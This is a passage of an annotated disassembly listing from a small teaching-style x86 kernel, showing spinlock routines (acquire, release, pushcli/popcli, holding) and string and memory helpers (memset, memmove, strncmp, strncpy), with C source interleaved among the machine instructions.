801041ce: 8d 73 04 lea 0x4(%ebx),%esi
801041d1: 56 push %esi
801041d2: e8 99 01 00 00 call 80104370 <acquire>
r = lk->locked && (lk->pid == myproc()->pid);
801041d7: 8b 03 mov (%ebx),%eax
801041d9: 83 c4 10 add $0x10,%esp
801041dc: 85 c0 test %eax,%eax
801041de: 74 13 je 801041f3 <holdingsleep+0x33>
801041e0: 8b 5b 3c mov 0x3c(%ebx),%ebx
801041e3: e8 88 f5 ff ff call 80103770 <myproc>
801041e8: 39 58 10 cmp %ebx,0x10(%eax)
801041eb: 0f 94 c0 sete %al
801041ee: 0f b6 c0 movzbl %al,%eax
801041f1: 89 c7 mov %eax,%edi
release(&lk->lk);
801041f3: 83 ec 0c sub $0xc,%esp
801041f6: 56 push %esi
801041f7: e8 24 02 00 00 call 80104420 <release>
return r;
}
801041fc: 8d 65 f4 lea -0xc(%ebp),%esp
801041ff: 89 f8 mov %edi,%eax
80104201: 5b pop %ebx
80104202: 5e pop %esi
80104203: 5f pop %edi
80104204: 5d pop %ebp
80104205: c3 ret
80104206: 66 90 xchg %ax,%ax
80104208: 66 90 xchg %ax,%ax
8010420a: 66 90 xchg %ax,%ax
8010420c: 66 90 xchg %ax,%ax
8010420e: 66 90 xchg %ax,%ax
80104210 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104210: 55 push %ebp
80104211: 89 e5 mov %esp,%ebp
80104213: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104216: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104219: c7 00 00 00 00 00 movl $0x0,(%eax)
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
lk->name = name;
8010421f: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
lk->cpu = 0;
80104222: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104229: 5d pop %ebp
8010422a: c3 ret
8010422b: 90 nop
8010422c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104230 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104230: 55 push %ebp
80104231: 89 e5 mov %esp,%ebp
80104233: 53 push %ebx
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104234: 8b 45 08 mov 0x8(%ebp),%eax
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104237: 8b 4d 0c mov 0xc(%ebp),%ecx
uint *ebp;
int i;
ebp = (uint*)v - 2;
8010423a: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
8010423d: 31 c0 xor %eax,%eax
8010423f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104240: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104246: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010424c: 77 1a ja 80104268 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010424e: 8b 5a 04 mov 0x4(%edx),%ebx
80104251: 89 1c 81 mov %ebx,(%ecx,%eax,4)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104254: 83 c0 01 add $0x1,%eax
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
80104257: 8b 12 mov (%edx),%edx
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104259: 83 f8 0a cmp $0xa,%eax
8010425c: 75 e2 jne 80104240 <getcallerpcs+0x10>
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010425e: 5b pop %ebx
8010425f: 5d pop %ebp
80104260: c3 ret
80104261: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
80104268: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010426f: 83 c0 01 add $0x1,%eax
80104272: 83 f8 0a cmp $0xa,%eax
80104275: 74 e7 je 8010425e <getcallerpcs+0x2e>
pcs[i] = 0;
80104277: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010427e: 83 c0 01 add $0x1,%eax
80104281: 83 f8 0a cmp $0xa,%eax
80104284: 75 e2 jne 80104268 <getcallerpcs+0x38>
80104286: eb d6 jmp 8010425e <getcallerpcs+0x2e>
80104288: 90 nop
80104289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104290 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104290: 55 push %ebp
80104291: 89 e5 mov %esp,%ebp
80104293: 53 push %ebx
80104294: 83 ec 04 sub $0x4,%esp
80104297: 9c pushf
80104298: 5b pop %ebx
}
static inline void
cli(void)
{
asm volatile("cli");
80104299: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
8010429a: e8 31 f4 ff ff call 801036d0 <mycpu>
8010429f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax
801042a5: 85 c0 test %eax,%eax
801042a7: 75 11 jne 801042ba <pushcli+0x2a>
mycpu()->intena = eflags & FL_IF;
801042a9: 81 e3 00 02 00 00 and $0x200,%ebx
801042af: e8 1c f4 ff ff call 801036d0 <mycpu>
801042b4: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
mycpu()->ncli += 1;
801042ba: e8 11 f4 ff ff call 801036d0 <mycpu>
801042bf: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
801042c6: 83 c4 04 add $0x4,%esp
801042c9: 5b pop %ebx
801042ca: 5d pop %ebp
801042cb: c3 ret
801042cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801042d0 <popcli>:
void
popcli(void)
{
801042d0: 55 push %ebp
801042d1: 89 e5 mov %esp,%ebp
801042d3: 83 ec 08 sub $0x8,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801042d6: 9c pushf
801042d7: 58 pop %eax
if(readeflags()&FL_IF)
801042d8: f6 c4 02 test $0x2,%ah
801042db: 75 52 jne 8010432f <popcli+0x5f>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
801042dd: e8 ee f3 ff ff call 801036d0 <mycpu>
801042e2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx
801042e8: 8d 51 ff lea -0x1(%ecx),%edx
801042eb: 85 d2 test %edx,%edx
801042ed: 89 90 a4 00 00 00 mov %edx,0xa4(%eax)
801042f3: 78 2d js 80104322 <popcli+0x52>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
801042f5: e8 d6 f3 ff ff call 801036d0 <mycpu>
801042fa: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx
80104300: 85 d2 test %edx,%edx
80104302: 74 0c je 80104310 <popcli+0x40>
sti();
}
80104304: c9 leave
80104305: c3 ret
80104306: 8d 76 00 lea 0x0(%esi),%esi
80104309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
80104310: e8 bb f3 ff ff call 801036d0 <mycpu>
80104315: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
8010431b: 85 c0 test %eax,%eax
8010431d: 74 e5 je 80104304 <popcli+0x34>
}
static inline void
sti(void)
{
asm volatile("sti");
8010431f: fb sti
sti();
}
80104320: c9 leave
80104321: c3 ret
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
panic("popcli");
80104322: 83 ec 0c sub $0xc,%esp
80104325: 68 ea 75 10 80 push $0x801075ea
8010432a: e8 41 c0 ff ff call 80100370 <panic>
void
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
8010432f: 83 ec 0c sub $0xc,%esp
80104332: 68 d3 75 10 80 push $0x801075d3
80104337: e8 34 c0 ff ff call 80100370 <panic>
8010433c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104340 <holding>:
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104340: 55 push %ebp
80104341: 89 e5 mov %esp,%ebp
80104343: 56 push %esi
80104344: 53 push %ebx
80104345: 8b 75 08 mov 0x8(%ebp),%esi
80104348: 31 db xor %ebx,%ebx
int r;
pushcli();
8010434a: e8 41 ff ff ff call 80104290 <pushcli>
r = lock->locked && lock->cpu == mycpu();
8010434f: 8b 06 mov (%esi),%eax
80104351: 85 c0 test %eax,%eax
80104353: 74 10 je 80104365 <holding+0x25>
80104355: 8b 5e 08 mov 0x8(%esi),%ebx
80104358: e8 73 f3 ff ff call 801036d0 <mycpu>
8010435d: 39 c3 cmp %eax,%ebx
8010435f: 0f 94 c3 sete %bl
80104362: 0f b6 db movzbl %bl,%ebx
popcli();
80104365: e8 66 ff ff ff call 801042d0 <popcli>
return r;
}
8010436a: 89 d8 mov %ebx,%eax
8010436c: 5b pop %ebx
8010436d: 5e pop %esi
8010436e: 5d pop %ebp
8010436f: c3 ret
80104370 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
80104370: 55 push %ebp
80104371: 89 e5 mov %esp,%ebp
80104373: 53 push %ebx
80104374: 83 ec 04 sub $0x4,%esp
pushcli(); // disable interrupts to avoid deadlock.
80104377: e8 14 ff ff ff call 80104290 <pushcli>
if(holding(lk))
8010437c: 8b 5d 08 mov 0x8(%ebp),%ebx
8010437f: 83 ec 0c sub $0xc,%esp
80104382: 53 push %ebx
80104383: e8 b8 ff ff ff call 80104340 <holding>
80104388: 83 c4 10 add $0x10,%esp
8010438b: 85 c0 test %eax,%eax
8010438d: 0f 85 7d 00 00 00 jne 80104410 <acquire+0xa0>
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80104393: ba 01 00 00 00 mov $0x1,%edx
80104398: eb 09 jmp 801043a3 <acquire+0x33>
8010439a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801043a0: 8b 5d 08 mov 0x8(%ebp),%ebx
801043a3: 89 d0 mov %edx,%eax
801043a5: f0 87 03 lock xchg %eax,(%ebx)
panic("acquire");
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
801043a8: 85 c0 test %eax,%eax
801043aa: 75 f4 jne 801043a0 <acquire+0x30>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
801043ac: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Record info about lock acquisition for debugging.
lk->cpu = mycpu();
801043b1: 8b 5d 08 mov 0x8(%ebp),%ebx
801043b4: e8 17 f3 ff ff call 801036d0 <mycpu>
getcallerpcs(void *v, uint pcs[])
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
801043b9: 89 ea mov %ebp,%edx
// references happen after the lock is acquired.
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = mycpu();
getcallerpcs(&lk, lk->pcs);
801043bb: 8d 4b 0c lea 0xc(%ebx),%ecx
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = mycpu();
801043be: 89 43 08 mov %eax,0x8(%ebx)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
801043c1: 31 c0 xor %eax,%eax
801043c3: 90 nop
801043c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
801043c8: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
801043ce: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
801043d4: 77 1a ja 801043f0 <acquire+0x80>
break;
pcs[i] = ebp[1]; // saved %eip
801043d6: 8b 5a 04 mov 0x4(%edx),%ebx
801043d9: 89 1c 81 mov %ebx,(%ecx,%eax,4)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
801043dc: 83 c0 01 add $0x1,%eax
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
801043df: 8b 12 mov (%edx),%edx
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
801043e1: 83 f8 0a cmp $0xa,%eax
801043e4: 75 e2 jne 801043c8 <acquire+0x58>
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = mycpu();
getcallerpcs(&lk, lk->pcs);
}
801043e6: 8b 5d fc mov -0x4(%ebp),%ebx
801043e9: c9 leave
801043ea: c3 ret
801043eb: 90 nop
801043ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
801043f0: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
801043f7: 83 c0 01 add $0x1,%eax
801043fa: 83 f8 0a cmp $0xa,%eax
801043fd: 74 e7 je 801043e6 <acquire+0x76>
pcs[i] = 0;
801043ff: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80104406: 83 c0 01 add $0x1,%eax
80104409: 83 f8 0a cmp $0xa,%eax
8010440c: 75 e2 jne 801043f0 <acquire+0x80>
8010440e: eb d6 jmp 801043e6 <acquire+0x76>
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
80104410: 83 ec 0c sub $0xc,%esp
80104413: 68 f1 75 10 80 push $0x801075f1
80104418: e8 53 bf ff ff call 80100370 <panic>
8010441d: 8d 76 00 lea 0x0(%esi),%esi
80104420 <release>:
}
// Release the lock.
void
release(struct spinlock *lk)
{
80104420: 55 push %ebp
80104421: 89 e5 mov %esp,%ebp
80104423: 53 push %ebx
80104424: 83 ec 10 sub $0x10,%esp
80104427: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holding(lk))
8010442a: 53 push %ebx
8010442b: e8 10 ff ff ff call 80104340 <holding>
80104430: 83 c4 10 add $0x10,%esp
80104433: 85 c0 test %eax,%eax
80104435: 74 22 je 80104459 <release+0x39>
panic("release");
lk->pcs[0] = 0;
80104437: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
8010443e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that all the stores in the critical
// section are visible to other cores before the lock is released.
// Both the C compiler and the hardware may re-order loads and
// stores; __sync_synchronize() tells them both not to.
__sync_synchronize();
80104445: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
8010444a: c7 03 00 00 00 00 movl $0x0,(%ebx)
popcli();
}
80104450: 8b 5d fc mov -0x4(%ebp),%ebx
80104453: c9 leave
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
popcli();
80104454: e9 77 fe ff ff jmp 801042d0 <popcli>
// Release the lock.
void
release(struct spinlock *lk)
{
if(!holding(lk))
panic("release");
80104459: 83 ec 0c sub $0xc,%esp
8010445c: 68 f9 75 10 80 push $0x801075f9
80104461: e8 0a bf ff ff call 80100370 <panic>
80104466: 66 90 xchg %ax,%ax
80104468: 66 90 xchg %ax,%ax
8010446a: 66 90 xchg %ax,%ax
8010446c: 66 90 xchg %ax,%ax
8010446e: 66 90 xchg %ax,%ax
80104470 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80104470: 55 push %ebp
80104471: 89 e5 mov %esp,%ebp
80104473: 57 push %edi
80104474: 53 push %ebx
80104475: 8b 55 08 mov 0x8(%ebp),%edx
80104478: 8b 4d 10 mov 0x10(%ebp),%ecx
if ((int)dst%4 == 0 && n%4 == 0){
8010447b: f6 c2 03 test $0x3,%dl
8010447e: 75 05 jne 80104485 <memset+0x15>
80104480: f6 c1 03 test $0x3,%cl
80104483: 74 13 je 80104498 <memset+0x28>
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
80104485: 89 d7 mov %edx,%edi
80104487: 8b 45 0c mov 0xc(%ebp),%eax
8010448a: fc cld
8010448b: f3 aa rep stos %al,%es:(%edi)
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
8010448d: 5b pop %ebx
8010448e: 89 d0 mov %edx,%eax
80104490: 5f pop %edi
80104491: 5d pop %ebp
80104492: c3 ret
80104493: 90 nop
80104494: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
void*
memset(void *dst, int c, uint n)
{
if ((int)dst%4 == 0 && n%4 == 0){
c &= 0xFF;
80104498: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
}
static inline void
stosl(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosl" :
8010449c: c1 e9 02 shr $0x2,%ecx
8010449f: 89 fb mov %edi,%ebx
801044a1: 89 f8 mov %edi,%eax
801044a3: c1 e3 18 shl $0x18,%ebx
801044a6: c1 e0 10 shl $0x10,%eax
801044a9: 09 d8 or %ebx,%eax
801044ab: 09 f8 or %edi,%eax
801044ad: c1 e7 08 shl $0x8,%edi
801044b0: 09 f8 or %edi,%eax
801044b2: 89 d7 mov %edx,%edi
801044b4: fc cld
801044b5: f3 ab rep stos %eax,%es:(%edi)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
801044b7: 5b pop %ebx
801044b8: 89 d0 mov %edx,%eax
801044ba: 5f pop %edi
801044bb: 5d pop %ebp
801044bc: c3 ret
801044bd: 8d 76 00 lea 0x0(%esi),%esi
801044c0 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801044c0: 55 push %ebp
801044c1: 89 e5 mov %esp,%ebp
801044c3: 57 push %edi
801044c4: 56 push %esi
801044c5: 8b 45 10 mov 0x10(%ebp),%eax
801044c8: 53 push %ebx
801044c9: 8b 75 0c mov 0xc(%ebp),%esi
801044cc: 8b 5d 08 mov 0x8(%ebp),%ebx
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801044cf: 85 c0 test %eax,%eax
801044d1: 74 29 je 801044fc <memcmp+0x3c>
if(*s1 != *s2)
801044d3: 0f b6 13 movzbl (%ebx),%edx
801044d6: 0f b6 0e movzbl (%esi),%ecx
801044d9: 38 d1 cmp %dl,%cl
801044db: 75 2b jne 80104508 <memcmp+0x48>
801044dd: 8d 78 ff lea -0x1(%eax),%edi
801044e0: 31 c0 xor %eax,%eax
801044e2: eb 14 jmp 801044f8 <memcmp+0x38>
801044e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801044e8: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx
801044ed: 83 c0 01 add $0x1,%eax
801044f0: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
801044f4: 38 ca cmp %cl,%dl
801044f6: 75 10 jne 80104508 <memcmp+0x48>
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801044f8: 39 f8 cmp %edi,%eax
801044fa: 75 ec jne 801044e8 <memcmp+0x28>
return *s1 - *s2;
s1++, s2++;
}
return 0;
}
801044fc: 5b pop %ebx
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
801044fd: 31 c0 xor %eax,%eax
}
801044ff: 5e pop %esi
80104500: 5f pop %edi
80104501: 5d pop %ebp
80104502: c3 ret
80104503: 90 nop
80104504: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s1 = v1;
s2 = v2;
while(n-- > 0){
if(*s1 != *s2)
return *s1 - *s2;
80104508: 0f b6 c2 movzbl %dl,%eax
s1++, s2++;
}
return 0;
}
8010450b: 5b pop %ebx
s1 = v1;
s2 = v2;
while(n-- > 0){
if(*s1 != *s2)
return *s1 - *s2;
8010450c: 29 c8 sub %ecx,%eax
s1++, s2++;
}
return 0;
}
8010450e: 5e pop %esi
8010450f: 5f pop %edi
80104510: 5d pop %ebp
80104511: c3 ret
80104512: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104520 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80104520: 55 push %ebp
80104521: 89 e5 mov %esp,%ebp
80104523: 56 push %esi
80104524: 53 push %ebx
80104525: 8b 45 08 mov 0x8(%ebp),%eax
80104528: 8b 75 0c mov 0xc(%ebp),%esi
8010452b: 8b 5d 10 mov 0x10(%ebp),%ebx
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
8010452e: 39 c6 cmp %eax,%esi
80104530: 73 2e jae 80104560 <memmove+0x40>
80104532: 8d 0c 1e lea (%esi,%ebx,1),%ecx
80104535: 39 c8 cmp %ecx,%eax
80104537: 73 27 jae 80104560 <memmove+0x40>
s += n;
d += n;
while(n-- > 0)
80104539: 85 db test %ebx,%ebx
8010453b: 8d 53 ff lea -0x1(%ebx),%edx
8010453e: 74 17 je 80104557 <memmove+0x37>
*--d = *--s;
80104540: 29 d9 sub %ebx,%ecx
80104542: 89 cb mov %ecx,%ebx
80104544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104548: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
8010454c: 88 0c 10 mov %cl,(%eax,%edx,1)
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
8010454f: 83 ea 01 sub $0x1,%edx
80104552: 83 fa ff cmp $0xffffffff,%edx
80104555: 75 f1 jne 80104548 <memmove+0x28>
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
80104557: 5b pop %ebx
80104558: 5e pop %esi
80104559: 5d pop %ebp
8010455a: c3 ret
8010455b: 90 nop
8010455c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
80104560: 31 d2 xor %edx,%edx
80104562: 85 db test %ebx,%ebx
80104564: 74 f1 je 80104557 <memmove+0x37>
80104566: 8d 76 00 lea 0x0(%esi),%esi
80104569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
*d++ = *s++;
80104570: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104574: 88 0c 10 mov %cl,(%eax,%edx,1)
80104577: 83 c2 01 add $0x1,%edx
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
8010457a: 39 d3 cmp %edx,%ebx
8010457c: 75 f2 jne 80104570 <memmove+0x50>
*d++ = *s++;
return dst;
}
8010457e: 5b pop %ebx
8010457f: 5e pop %esi
80104580: 5d pop %ebp
80104581: c3 ret
80104582: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104590 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
80104590: 55 push %ebp
80104591: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104593: 5d pop %ebp
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
return memmove(dst, src, n);
80104594: eb 8a jmp 80104520 <memmove>
80104596: 8d 76 00 lea 0x0(%esi),%esi
80104599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801045a0 <strncmp>:
}
int
strncmp(const char *p, const char *q, uint n)
{
801045a0: 55 push %ebp
801045a1: 89 e5 mov %esp,%ebp
801045a3: 57 push %edi
801045a4: 56 push %esi
801045a5: 8b 4d 10 mov 0x10(%ebp),%ecx
801045a8: 53 push %ebx
801045a9: 8b 7d 08 mov 0x8(%ebp),%edi
801045ac: 8b 75 0c mov 0xc(%ebp),%esi
while(n > 0 && *p && *p == *q)
801045af: 85 c9 test %ecx,%ecx
801045b1: 74 37 je 801045ea <strncmp+0x4a>
801045b3: 0f b6 17 movzbl (%edi),%edx
801045b6: 0f b6 1e movzbl (%esi),%ebx
801045b9: 84 d2 test %dl,%dl
801045bb: 74 3f je 801045fc <strncmp+0x5c>
801045bd: 38 d3 cmp %dl,%bl
801045bf: 75 3b jne 801045fc <strncmp+0x5c>
801045c1: 8d 47 01 lea 0x1(%edi),%eax
801045c4: 01 cf add %ecx,%edi
801045c6: eb 1b jmp 801045e3 <strncmp+0x43>
801045c8: 90 nop
801045c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801045d0: 0f b6 10 movzbl (%eax),%edx
801045d3: 84 d2 test %dl,%dl
801045d5: 74 21 je 801045f8 <strncmp+0x58>
801045d7: 0f b6 19 movzbl (%ecx),%ebx
801045da: 83 c0 01 add $0x1,%eax
801045dd: 89 ce mov %ecx,%esi
801045df: 38 da cmp %bl,%dl
801045e1: 75 19 jne 801045fc <strncmp+0x5c>
801045e3: 39 c7 cmp %eax,%edi
n--, p++, q++;
801045e5: 8d 4e 01 lea 0x1(%esi),%ecx
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
801045e8: 75 e6 jne 801045d0 <strncmp+0x30>
n--, p++, q++;
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
}
801045ea: 5b pop %ebx
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
n--, p++, q++;
if(n == 0)
return 0;
801045eb: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
801045ed: 5e pop %esi
801045ee: 5f pop %edi
801045ef: 5d pop %ebp
801045f0: c3 ret
801045f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801045f8: 0f b6 5e 01 movzbl 0x1(%esi),%ebx
{
while(n > 0 && *p && *p == *q)
n--, p++, q++;
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
801045fc: 0f b6 c2 movzbl %dl,%eax
801045ff: 29 d8 sub %ebx,%eax
}
80104601: 5b pop %ebx
80104602: 5e pop %esi
80104603: 5f pop %edi
80104604: 5d pop %ebp
80104605: c3 ret
80104606: 8d 76 00 lea 0x0(%esi),%esi
80104609: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104610 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
80104610: 55 push %ebp
80104611: 89 e5 mov %esp,%ebp
80104613: 56 push %esi
80104614: 53 push %ebx
80104615: 8b 45 08 mov 0x8(%ebp),%eax
80104618: 8b 5d 0c mov 0xc(%ebp),%ebx
8010461b: 8b 4d 10 mov 0x10(%ebp),%ecx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
8010461e: 89 c2 mov %eax,%edx
80104620: eb 19 jmp 8010463b <strncpy+0x2b>
80104622: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104628: 83 c3 01 add $0x1,%ebx
8010462b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
8010462f: 83 c2 01 add $0x1,%edx
80104632: 84 c9 test %cl,%cl
80104634: 88 4a ff mov %cl,-0x1(%edx)
80104637: 74 09 je 80104642 <strncpy+0x32>
80104639: 89 f1 mov %esi,%ecx
8010463b: 85 c9 test %ecx,%ecx
8010463d: 8d 71 ff lea -0x1(%ecx),%esi
80104640: 7f e6 jg 80104628 <strncpy+0x18>
;
while(n-- > 0)
80104642: 31 c9 xor %ecx,%ecx
80104644: 85 f6 test %esi,%esi
80104646: 7e 17 jle 8010465f <strncpy+0x4f>
80104648: 90 nop
80104649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
*s++ = 0;
80104650: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
80104654: 89 f3 mov %esi,%ebx
